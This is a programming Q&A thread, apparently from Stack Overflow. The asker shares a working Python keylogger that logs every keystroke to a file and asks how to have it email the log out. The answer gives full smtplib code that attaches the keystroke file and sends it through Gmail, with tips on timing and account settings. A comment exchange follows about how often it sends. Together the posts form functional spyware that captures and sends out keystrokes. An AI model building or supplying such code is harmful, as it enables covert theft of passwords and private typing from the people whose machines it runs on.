-2

How do I make this keylogger that I made in python send me data through email? Here is the code I used to make the keylogger:

from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + 'key_log.txt'), level=logging.DEBUG, 
format='%(asctime)s: %(message)s')
def on_press(key): 
         logging.info(str(key))
with Listener(on_press=on_press) as listener: 
         listener.join()
PostChalone
  • 3
  • 1
  • 2

1 Answers1

1
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

email_user = 'email sender address, probably same as email_send'
email_send = 'your email address @gmail.com'
email_password = 'your email password'
subject = 'Ethical Keylogger'

msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'Here is the keylogger.'
msg.attach(MIMEText(body,'plain'))

filename = 'FILE LOCATION' #INSERT FILE LOCATION
attachment = open(filename, 'rb')

part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, email_password)


server.sendmail(email_user, email_send, text)
server.quit()

If you try to spoof the email_user, gmail will most likely end up blocking it so just use the same as email_send. Additionally, in order to use this, you will need to enable less secure apps in gmail. Once you run it first, your email will send you a notification. From that message you can enable the less secure apps.

s.bridges
  • 106
  • 2
  • 7
  • How often would this email send? – PostChalone Oct 18 '18 at 16:59
  • That specific script will send when you run it. You can write in a specific time to send it, or probably more ideal, when your keylogger is closed as I don't think the file updates until your keylogger exits. – s.bridges Oct 18 '18 at 17:04